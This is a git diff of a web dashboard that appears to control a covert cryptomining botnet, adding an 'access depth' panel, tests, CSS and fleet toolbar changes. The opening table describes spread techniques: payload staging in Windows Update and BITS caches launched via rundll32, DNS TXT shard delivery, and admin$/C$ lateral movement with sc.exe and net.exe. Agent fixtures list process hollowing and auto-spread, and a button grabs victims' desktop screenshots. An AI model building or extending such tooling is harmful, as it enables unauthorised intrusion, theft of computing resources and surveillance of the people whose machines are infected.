||||
<td>DoSvc + BITS shadow cache handoff — hash-verified peer chunk staging on LAN; launch via <code>rundll32</code> or exe with <code>--defer-mining</code>.</td>
|
||||
<td>Probe & Join when <code>DoSvc</code> is running — signed plan: <code>{"join_lane":"do_peer","peer_group":"af-peer-…","manifest":{"method":"bits","launch":"rundll32","defer_mining":true}}</code></td>
|
||||
</tr>
|
||||
<tr id="lotl-tier-wsus_cache_peer">
|
||||
<td><strong>wsus_cache_peer</strong></td>
|
||||
<td>WSUS offline cache cousin — stages beside <code>SoftwareDistribution\Download</code>; probes Wuauserv/AU registry; hash verify + <code>rundll32</code>/exe with <code>--defer-mining</code>.</td>
|
||||
<td>Forge <code>wsus_cache_peer_spread</code> ON — <code>Wuauserv</code> → <code>join_lane: wsus_cache_peer</code> (priority after <code>do_peer</code>).</td>
|
||||
</tr>
|
||||
<tr id="lotl-tier-dns_txt">
|
||||
<td><strong>dns_txt</strong></td>
|
||||
<td>DNS TXT mesh — shards in <code>_aether.<zone></code>; agent <code>nslookup</code>/<code>Resolve-DnsName</code>, assemble, SHA256 verify. Policy refresh via TXT TTL; tests use <code>/api/v1/public/dns-txt/{record}</code> fallback.</td>
|
||||
<td>Forge <code>dns_txt_spread</code> default ON — signed plan: <code>{"join_lane":"dns_txt","dns_txt_zone":"lab.internal","dns_txt_records":["_aether.shard0.lab.internal"],"ttl_refresh_sec":300}</code></td>
|
||||
</tr>
|
||||
<tr id="lotl-tier-webrtc_mesh">
|
||||
<td><strong>webrtc_mesh</strong></td>
|
||||
<td>WebRTC LAN seed — first subnet agent seeder; manifest over data channel (STUN from server, WS relay signaling). <strong>Real:</strong> WebRTC bytes stay LAN; server sees hashrate + <code>join_lane</code> only. <strong>Tests:</strong> LAN HTTP fallback at <code>/api/v1/public/webrtc-mesh/manifest</code>.</td>
|
||||
<td>Forge <code>webrtc_mesh_spread</code> default OFF — Calibrate <code>webrtc_mesh_policy.rotation_hours: 24</code> for seeder rotation.</td>
|
||||
</tr>
|
||||
<tr id="lotl-tier-smb">
|
||||
<td><strong>smb</strong> (<code>spread_smb_unc</code>)</td>
|
||||
<td>admin$ / C$ lateral via <code>sc.exe</code> + <code>net.exe</code> on open port 445 — no PsExec.</td>
|
||||
|
||||
@@ -11,14 +11,14 @@ import { ForgeProvider } from './context/ForgeContext';
|
||||
import { MatrixRainProvider } from './context/MatrixRainContext';
|
||||
import SoundBridge from './components/Sound/SoundBridge';
|
||||
import GlobalMusicPlayer from './components/GlobalMusicPlayer';
|
||||
import AgentsPage from './pages/AgentsPage';
|
||||
import CruciblePage from './pages/CruciblePage';
|
||||
|
||||
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
||||
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
||||
const BuilderPage = lazy(() => import('./pages/BuilderPage'));
|
||||
const MissionDeckPage = lazy(() => import('./pages/MissionDeckPage'));
|
||||
const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
|
||||
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
|
||||
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
|
||||
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
|
||||
const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));
|
||||
|
||||
|
||||
@@ -33,7 +33,7 @@ interface HashrateChartProps {
|
||||
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
|
||||
|
||||
function colorToId(color: string): string {
|
||||
if (color.includes('f5ff') || color.includes('06b6d4') || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
|
||||
if (color.includes('e8f5') || color.includes('f5ff') || color.includes('06b6d4') || color === '#00e8f5' || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
|
||||
if (color.includes('2da6') || color.includes('8b5cf6')) return 'magenta';
|
||||
if (color.includes('b020') || color.includes('eab308')) return 'amber';
|
||||
if (color.includes('39ff') || color.includes('22c55e')) return 'green';
|
||||
|
||||
222
server/web/src/components/Fleet/AccessDepthPanel.css
Normal file
222
server/web/src/components/Fleet/AccessDepthPanel.css
Normal file
@@ -0,0 +1,222 @@
|
||||
.access-depth-panel {
|
||||
margin-bottom: 1rem;
|
||||
max-width: none;
|
||||
}
|
||||
|
||||
.access-depth-header {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
gap: 0.75rem;
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
.access-depth-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(11rem, 1fr));
|
||||
gap: 0.65rem 1rem;
|
||||
margin-bottom: 0.65rem;
|
||||
}
|
||||
|
||||
.access-depth-section-title {
|
||||
color: var(--neon-cyan);
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.08em;
|
||||
font-size: 0.66rem;
|
||||
margin-bottom: 0.3rem;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.access-depth-os-line {
|
||||
color: #e8e8e8;
|
||||
font-size: 0.76rem;
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.access-depth-probes {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.25rem;
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.access-depth-probe {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||
}
|
||||
|
||||
.access-depth-probe.ok {
|
||||
color: var(--neon-green);
|
||||
background: rgba(57, 255, 20, 0.08);
|
||||
border-color: rgba(57, 255, 20, 0.25);
|
||||
}
|
||||
|
||||
.access-depth-probe.no {
|
||||
color: var(--text-muted);
|
||||
background: rgba(255, 255, 255, 0.04);
|
||||
}
|
||||
|
||||
.access-depth-meta,
|
||||
.access-depth-muted,
|
||||
.access-depth-empty {
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.access-depth-empty {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.access-depth-join {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
margin-top: 0.35rem;
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.access-depth-attempt-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.access-depth-attempt-row {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: baseline;
|
||||
gap: 0.25rem 0.4rem;
|
||||
font-size: 0.72rem;
|
||||
padding: 0.1rem 0;
|
||||
}
|
||||
|
||||
.access-depth-attempt-tier {
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.access-depth-phase {
|
||||
font-size: 0.62rem;
|
||||
color: var(--neon-violet, #b388ff);
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.access-depth-in-progress,
|
||||
.access-depth-pending {
|
||||
margin-top: 0.35rem;
|
||||
font-size: 0.68rem;
|
||||
color: var(--neon-amber, #ffb347);
|
||||
}
|
||||
|
||||
.access-depth-onion-block {
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.06);
|
||||
padding-top: 0.5rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-columns {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(14rem, 1fr));
|
||||
gap: 0.75rem 1.25rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-subtitle {
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.15rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-item {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
font-size: 0.72rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-idx {
|
||||
color: var(--text-muted);
|
||||
min-width: 1.25rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-label {
|
||||
color: #e8e8e8;
|
||||
}
|
||||
|
||||
.access-depth-onion-item--skipped .access-depth-onion-label {
|
||||
opacity: 0.55;
|
||||
text-decoration: line-through;
|
||||
}
|
||||
|
||||
.access-depth-tag {
|
||||
font-size: 0.58rem;
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.05em;
|
||||
padding: 0 4px;
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.access-depth-tag--active {
|
||||
color: var(--neon-cyan);
|
||||
border: 1px solid rgba(0, 245, 255, 0.35);
|
||||
}
|
||||
|
||||
.access-depth-tag--skip {
|
||||
color: var(--text-muted);
|
||||
border: 1px solid rgba(255, 255, 255, 0.15);
|
||||
}
|
||||
|
||||
.access-depth-tag--ok {
|
||||
color: var(--neon-green);
|
||||
border: 1px solid rgba(57, 255, 20, 0.3);
|
||||
}
|
||||
|
||||
.access-depth-tag--fail {
|
||||
color: #ff8866;
|
||||
border: 1px solid rgba(255, 136, 68, 0.35);
|
||||
}
|
||||
|
||||
.access-depth-tag--pending {
|
||||
color: var(--neon-amber, #ffb347);
|
||||
border: 1px solid rgba(255, 180, 60, 0.3);
|
||||
}
|
||||
|
||||
.access-depth-source {
|
||||
margin-left: 0.35rem;
|
||||
color: var(--text-muted);
|
||||
font-weight: 400;
|
||||
text-transform: none;
|
||||
letter-spacing: 0;
|
||||
}
|
||||
|
||||
.access-depth-triple {
|
||||
margin-top: 0.45rem;
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.access-depth-hint {
|
||||
margin: 0.45rem 0 0;
|
||||
font-size: 0.66rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.access-depth-calibrate-link {
|
||||
color: var(--neon-cyan);
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.access-depth-calibrate-link:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
172
server/web/src/components/Fleet/AccessDepthPanel.test.tsx
Normal file
172
server/web/src/components/Fleet/AccessDepthPanel.test.tsx
Normal file
@@ -0,0 +1,172 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen } from '@testing-library/react';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import AccessDepthPanel from './AccessDepthPanel';
|
||||
import type { Agent } from '../../types';
|
||||
import {
|
||||
buildAccessDepthModel,
|
||||
parseAccessDepthDiagnostics,
|
||||
parseAccessDepthServerPolicy,
|
||||
} from '../../help/accessDepth';
|
||||
|
||||
vi.mock('../../api/client', () => ({
|
||||
api: {
|
||||
getConfig: vi.fn().mockResolvedValue({
|
||||
server: {
|
||||
lotl_onion_tiers: ['vuln_recon', 'docker', 'winrm'],
|
||||
triple_onion_policy: {
|
||||
recon_tiers: ['vuln_recon'],
|
||||
deploy_lanes: ['docker', 'winrm'],
|
||||
},
|
||||
},
|
||||
}),
|
||||
},
|
||||
}));
|
||||
|
||||
function mockAgent(overrides: Partial<Agent>): Agent {
|
||||
return {
|
||||
id: 'a1',
|
||||
name: 'Node',
|
||||
wallet: '',
|
||||
ip: '10.0.0.5',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 8,
|
||||
memory_gb: 16,
|
||||
last_seen: '',
|
||||
created_at: '',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 0,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 0,
|
||||
memory_usage_pct: 0,
|
||||
uptime_seconds: 0,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function renderPanel(agent: Agent, diagnostics?: ReturnType<typeof parseAccessDepthDiagnostics>) {
|
||||
return render(
|
||||
<MemoryRouter>
|
||||
<AccessDepthPanel agent={agent} diagnostics={diagnostics} />
|
||||
</MemoryRouter>,
|
||||
);
|
||||
}
|
||||
|
||||
describe('accessDepth helpers', () => {
|
||||
it('parses mining diagnostics payload with probes and tier chain', () => {
|
||||
const diag = parseAccessDepthDiagnostics({
|
||||
lotl_tier: 'wsl',
|
||||
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
|
||||
tier_chain_skipped: ['exe_subprocess'],
|
||||
environment_probes: { docker: true, wsl: true, pwsh: true, gpu: false },
|
||||
lotl_attempts: [
|
||||
{ tier: 'container', ok: false, error: 'no runtime', phase: 'mining' },
|
||||
{ tier: 'wsl', ok: true, duration_ms: 900, phase: 'mining' },
|
||||
],
|
||||
});
|
||||
expect(diag.lotl_tier).toBe('wsl');
|
||||
expect(diag.tier_chain_skipped).toEqual(['exe_subprocess']);
|
||||
expect(diag.environment_probes?.docker).toBe(true);
|
||||
expect(diag.lotl_attempts).toHaveLength(2);
|
||||
expect(diag.lotl_attempts?.[1].phase).toBe('mining');
|
||||
});
|
||||
|
||||
it('buildAccessDepthModel for Windows agent with diagnostics', () => {
|
||||
const agent = mockAgent({
|
||||
platform: 'windows',
|
||||
os_version: '10.0.26200',
|
||||
arch: 'amd64',
|
||||
lotl_tier: 'wsl',
|
||||
join_lane: 'winrm',
|
||||
agent_elevated: true,
|
||||
capabilities: { auto_spread: true, hole_punch: false, mesh_p2p: true, remote_aggressive: true, process_hollowing: false, ai_enabled: false },
|
||||
});
|
||||
const model = buildAccessDepthModel(
|
||||
agent,
|
||||
parseAccessDepthDiagnostics({
|
||||
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
|
||||
tier_chain_skipped: ['exe_subprocess'],
|
||||
lotl_attempts: [
|
||||
{ tier: 'container', ok: false, error: 'blocked', phase: 'mining' },
|
||||
{ tier: 'wsl', ok: true, phase: 'mining' },
|
||||
],
|
||||
environment_probes: { docker: false, wsl: true, pwsh: true },
|
||||
}),
|
||||
parseAccessDepthServerPolicy({ server: { lotl_onion_tiers: ['vuln_recon', 'docker'] } }),
|
||||
);
|
||||
expect(model.platformLabel).toBe('Windows');
|
||||
expect(model.joinLane).toBe('winrm');
|
||||
expect(model.succeeded).toHaveLength(1);
|
||||
expect(model.failed).toHaveLength(1);
|
||||
expect(model.miningOnion.find((r) => r.tier === 'exe_subprocess')?.status).toBe('skipped');
|
||||
expect(model.spreadOnion).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('buildAccessDepthModel for Linux agent without diagnostics', () => {
|
||||
const agent = mockAgent({
|
||||
platform: 'linux',
|
||||
join_lane: 'linux-lotl',
|
||||
lotl_attempts: [{ tier: 'cpu_inprocess', ok: true, phase: 'mining' }],
|
||||
});
|
||||
const model = buildAccessDepthModel(agent);
|
||||
expect(model.platformLabel).toBe('Linux');
|
||||
expect(model.succeeded[0].tier).toBe('cpu_inprocess');
|
||||
expect(model.miningOnion.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('buildAccessDepthModel for macOS agent', () => {
|
||||
const agent = mockAgent({ platform: 'darwin', os_version: '14.2' });
|
||||
const model = buildAccessDepthModel(agent);
|
||||
expect(model.platformLabel).toBe('macOS');
|
||||
expect(model.osLine).toContain('macOS');
|
||||
});
|
||||
});
|
||||
|
||||
describe('AccessDepthPanel', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders sections for Windows fixture', async () => {
|
||||
renderPanel(
|
||||
mockAgent({
|
||||
platform: 'windows',
|
||||
lotl_tier: 'wsl',
|
||||
join_lane: 'winrm',
|
||||
lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
|
||||
}),
|
||||
parseAccessDepthDiagnostics({
|
||||
environment_probes: { wsl: true, pwsh: true },
|
||||
tier_chain_order: ['container', 'wsl'],
|
||||
lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
|
||||
}),
|
||||
);
|
||||
expect(screen.getByText('ACCESS DEPTH')).toBeInTheDocument();
|
||||
expect(screen.getByText('OS & posture')).toBeInTheDocument();
|
||||
expect(screen.getByText('Active')).toBeInTheDocument();
|
||||
expect(screen.getByText('Succeeded')).toBeInTheDocument();
|
||||
expect(screen.getByText('Failed / in progress')).toBeInTheDocument();
|
||||
expect(screen.getByText('Effective onion order')).toBeInTheDocument();
|
||||
expect(await screen.findByText('WinRM')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows pending chain when tiers not yet attempted', () => {
|
||||
renderPanel(
|
||||
mockAgent({
|
||||
platform: 'linux',
|
||||
status: 'online',
|
||||
lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
|
||||
}),
|
||||
parseAccessDepthDiagnostics({
|
||||
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
|
||||
lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
|
||||
}),
|
||||
);
|
||||
expect(screen.getByText(/pending:/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
196
server/web/src/components/Fleet/AccessDepthPanel.tsx
Normal file
196
server/web/src/components/Fleet/AccessDepthPanel.tsx
Normal file
@@ -0,0 +1,196 @@
|
||||
import { useEffect, useMemo, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../../api/client';
|
||||
import {
|
||||
buildAccessDepthModel,
|
||||
parseAccessDepthServerPolicy,
|
||||
type AccessDepthDiagnostics,
|
||||
} from '../../help/accessDepth';
|
||||
import type { Agent } from '../../types';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import JoinLaneBadge from './JoinLaneBadge';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
import './AccessDepthPanel.css';
|
||||
import './LotlVisuals.css';
|
||||
import './ReconVisuals.css';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
diagnostics?: AccessDepthDiagnostics;
|
||||
}
|
||||
|
||||
function OnionList({ rows, empty }: { rows: ReturnType<typeof buildAccessDepthModel>['miningOnion']; empty: string }) {
|
||||
if (rows.length === 0) {
|
||||
return <div className="access-depth-empty">{empty}</div>;
|
||||
}
|
||||
return (
|
||||
<ol className="access-depth-onion-list">
|
||||
{rows.map((row) => (
|
||||
<li key={`${row.index}-${row.tier}`} className={`access-depth-onion-item access-depth-onion-item--${row.status}`}>
|
||||
<span className="access-depth-onion-idx">{row.index}.</span>
|
||||
<span className="access-depth-onion-label">{row.label}</span>
|
||||
{row.status === 'active' && <span className="access-depth-tag access-depth-tag--active">active</span>}
|
||||
{row.status === 'skipped' && <span className="access-depth-tag access-depth-tag--skip">skipped</span>}
|
||||
{row.status === 'done' && <span className="access-depth-tag access-depth-tag--ok">ok</span>}
|
||||
{row.status === 'failed' && <span className="access-depth-tag access-depth-tag--fail">fail</span>}
|
||||
{row.status === 'pending' && <span className="access-depth-tag access-depth-tag--pending">pending</span>}
|
||||
</li>
|
||||
))}
|
||||
</ol>
|
||||
);
|
||||
}
|
||||
|
||||
function AttemptMiniList({
|
||||
rows,
|
||||
empty,
|
||||
}: {
|
||||
rows: ReturnType<typeof buildAccessDepthModel>['succeeded'];
|
||||
empty: string;
|
||||
}) {
|
||||
if (rows.length === 0) return <div className="access-depth-empty">{empty}</div>;
|
||||
return (
|
||||
<ul className="access-depth-attempt-list">
|
||||
{rows.map((row, i) => (
|
||||
<li key={`${row.tier}-${i}`} className="access-depth-attempt-row">
|
||||
<span className={`lotl-attempt-icon ${row.ok ? 'ok' : 'fail'}`}>{row.ok ? '✓' : '✗'}</span>
|
||||
<span className="access-depth-attempt-tier">{row.label}</span>
|
||||
{row.phase && <span className="access-depth-phase">{row.phase}</span>}
|
||||
{!row.ok && row.error && <span className="lotl-attempt-err">{row.error}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
);
|
||||
}
|
||||
|
||||
export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
const [policyLoaded, setPolicyLoaded] = useState(false);
|
||||
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
api
|
||||
.getConfig()
|
||||
.then((cfg) => {
|
||||
if (!cancelled) {
|
||||
setServerPolicy(parseAccessDepthServerPolicy(cfg));
|
||||
setPolicyLoaded(true);
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) setPolicyLoaded(true);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, []);
|
||||
|
||||
const model = useMemo(
|
||||
() => buildAccessDepthModel(agent, diagnostics, serverPolicy),
|
||||
[agent, diagnostics, serverPolicy],
|
||||
);
|
||||
|
||||
return (
|
||||
<section className="access-depth-panel lotl-attempts-block" aria-label="Access depth">
|
||||
<div className="access-depth-header">
|
||||
<span className="lotl-attempts-title">
|
||||
ACCESS DEPTH <HelpTip field="crucible_access_depth" />
|
||||
</span>
|
||||
{!policyLoaded && <span className="access-depth-muted">loading policy…</span>}
|
||||
</div>
|
||||
|
||||
<div className="access-depth-grid">
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">OS & posture</div>
|
||||
<div className="access-depth-os-line">{model.osLine}</div>
|
||||
{model.probes.length > 0 && (
|
||||
<div className="access-depth-probes">
|
||||
{model.probes.map((p) => (
|
||||
<span key={p.key} className={`access-depth-probe ${p.ok ? 'ok' : 'no'}`}>
|
||||
{p.label}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
{model.spreadCaps.length > 0 && (
|
||||
<div className="access-depth-meta">
|
||||
spread: {model.spreadCaps.join(', ')}
|
||||
</div>
|
||||
)}
|
||||
{model.privilegeHints.length > 0 && (
|
||||
<div className="access-depth-meta">
|
||||
{model.privilegeHints.join(' · ')}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">Active</div>
|
||||
{model.activeTier ? (
|
||||
<LotlTierBadge tier={model.activeTier} attempts={agent.lotl_attempts} variant="inline" />
|
||||
) : (
|
||||
<div className="access-depth-empty">No active mining tier</div>
|
||||
)}
|
||||
{model.joinLane ? (
|
||||
<div className="access-depth-join">
|
||||
join lane <JoinLaneBadge lane={model.joinLane} />
|
||||
</div>
|
||||
) : (
|
||||
<div className="access-depth-muted">No join lane yet</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">Succeeded</div>
|
||||
<AttemptMiniList rows={model.succeeded} empty="No successful tier attempts" />
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">Failed / in progress</div>
|
||||
<AttemptMiniList rows={model.failed} empty="No failed attempts" />
|
||||
{model.inProgressLabel && (
|
||||
<div className="access-depth-in-progress">
|
||||
trying <strong>{model.inProgressLabel}</strong>
|
||||
</div>
|
||||
)}
|
||||
{model.pendingLabels.length > 0 && (
|
||||
<div className="access-depth-pending">
|
||||
pending: {model.pendingLabels.slice(0, 6).join(' → ')}
|
||||
{model.pendingLabels.length > 6 ? ` +${model.pendingLabels.length - 6}` : ''}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section access-depth-onion-block">
|
||||
<div className="access-depth-section-title">
|
||||
Effective onion order
|
||||
<span className="access-depth-source">({model.miningOrderSource})</span>
|
||||
</div>
|
||||
<div className="access-depth-onion-columns">
|
||||
<div>
|
||||
<div className="access-depth-onion-subtitle">Mining tiers</div>
|
||||
<OnionList rows={model.miningOnion} empty="No mining tier chain" />
|
||||
</div>
|
||||
<div>
|
||||
<div className="access-depth-onion-subtitle">
|
||||
Spread contingency{' '}
|
||||
<Link to="/settings" className="access-depth-calibrate-link">
|
||||
Calibrate
|
||||
</Link>
|
||||
</div>
|
||||
<OnionList rows={model.spreadOnion} empty="Default spread order" />
|
||||
</div>
|
||||
</div>
|
||||
{model.tripleOnionSummary && (
|
||||
<div className="access-depth-triple">
|
||||
Triple onion: {model.tripleOnionSummary}
|
||||
</div>
|
||||
)}
|
||||
<p className="access-depth-hint">
|
||||
<HelpTip field="crucible_access_depth_calibrate" label="?" />{' '}
|
||||
Calibrate → <Link to="/settings">lotl_onion_tiers</Link> changes spread order on next agent reconnect.
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
@@ -313,7 +313,7 @@ export default function CrucibleExpandedOps({
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection}
|
||||
disabled={targets.length === 0}
|
||||
title="Fleet health: restore hashing workload on selected online nodes"
|
||||
onClick={() => {
|
||||
const ids = targets.map((a) => a.id);
|
||||
@@ -326,7 +326,7 @@ export default function CrucibleExpandedOps({
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection}
|
||||
disabled={targets.length === 0}
|
||||
title="Fleet health: power down hashing without disconnecting the agent"
|
||||
onClick={() => {
|
||||
const ids = targets.map((a) => a.id);
|
||||
|
||||
@@ -43,7 +43,7 @@
|
||||
height: 0.55rem;
|
||||
border-radius: 50%;
|
||||
flex-shrink: 0;
|
||||
box-shadow: 0 0 6px var(--group-color, #0ff);
|
||||
box-shadow: 0 0 6px var(--group-color, #00e8f5);
|
||||
}
|
||||
|
||||
.fleet-group-chip-name {
|
||||
|
||||
@@ -218,7 +218,7 @@
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
.er-usd { opacity: 0.7; margin-left: 0.25rem; }
|
||||
.er-highlight { color: var(--neon-cyan, #00f5ff); font-weight: 700; }
|
||||
.er-highlight { color: var(--neon-cyan, #00e8f5); font-weight: 700; }
|
||||
|
||||
/* ── Fleet Health Card ────────────────────────────────────────────────────── */
|
||||
.fleet-health-card {
|
||||
@@ -300,9 +300,9 @@
|
||||
}
|
||||
.contrib-fill {
|
||||
height: 100%;
|
||||
background: var(--neon-cyan, #00f5ff);
|
||||
background: var(--neon-cyan, #00e8f5);
|
||||
border-radius: 4px;
|
||||
box-shadow: 0 0 6px var(--neon-cyan, #00f5ff);
|
||||
box-shadow: 0 0 6px var(--neon-cyan, #00e8f5);
|
||||
transition: width 0.5s ease;
|
||||
}
|
||||
.contrib-hash, .contrib-pct { opacity: 0.75; font-size: 0.75rem; text-align: right; }
|
||||
@@ -379,7 +379,7 @@
|
||||
border-radius: 3px;
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
.lan-subnet { color: var(--neon-cyan, #00f5ff); font-size: 0.78rem; }
|
||||
.lan-subnet { color: var(--neon-cyan, #00e8f5); font-size: 0.78rem; }
|
||||
.lan-meta { display: flex; gap: 1rem; font-size: 0.76rem; opacity: 0.75; }
|
||||
.lan-online { color: var(--neon-green, #39ff14); }
|
||||
.lan-hash { font-family: var(--font-mono, monospace); }
|
||||
@@ -388,7 +388,7 @@
|
||||
.dash-mode-btn {
|
||||
background: transparent;
|
||||
border: 1px solid rgba(0,245,255,0.35);
|
||||
color: var(--neon-cyan, #00f5ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
font-family: monospace;
|
||||
font-size: 0.78rem;
|
||||
padding: 0.25rem 0.6rem;
|
||||
|
||||
@@ -66,7 +66,7 @@
|
||||
}
|
||||
|
||||
.agent-list-item.expanded {
|
||||
border-color: rgba(0, 245, 255, 0.35);
|
||||
border-color: rgba(0, 232, 245, 0.35);
|
||||
}
|
||||
|
||||
.agent-list-expand {
|
||||
@@ -86,9 +86,9 @@
|
||||
padding: 0.1rem 0.45rem;
|
||||
margin-right: 0.25rem;
|
||||
border-radius: 4px;
|
||||
background: rgba(0, 245, 255, 0.12);
|
||||
color: var(--neon-cyan, #0ff);
|
||||
border: 1px solid rgba(0, 245, 255, 0.25);
|
||||
background: rgba(0, 232, 245, 0.12);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
border: 1px solid rgba(0, 232, 245, 0.25);
|
||||
}
|
||||
|
||||
.agent-list-notes-preview {
|
||||
|
||||
@@ -9,6 +9,7 @@ interface Props {
|
||||
filters: FleetFilterState;
|
||||
onChange: (next: FleetFilterState) => void;
|
||||
selectedCount: number;
|
||||
selectedAgents?: Agent[];
|
||||
onBulkAction: (action: string) => void;
|
||||
onSelectAllFiltered?: () => void;
|
||||
onCreateGroup?: () => void;
|
||||
@@ -21,6 +22,7 @@ export default function FleetToolbar({
|
||||
filters,
|
||||
onChange,
|
||||
selectedCount,
|
||||
selectedAgents = [],
|
||||
onBulkAction,
|
||||
onSelectAllFiltered,
|
||||
onCreateGroup,
|
||||
@@ -112,17 +114,17 @@ export default function FleetToolbar({
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={bulkBusy}
|
||||
disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')}
|
||||
onClick={() => onBulkAction('screenshot')}
|
||||
title="Capture desktop on the selected machine and download JPEG here"
|
||||
>
|
||||
Screenshot
|
||||
</button>
|
||||
)}
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
|
||||
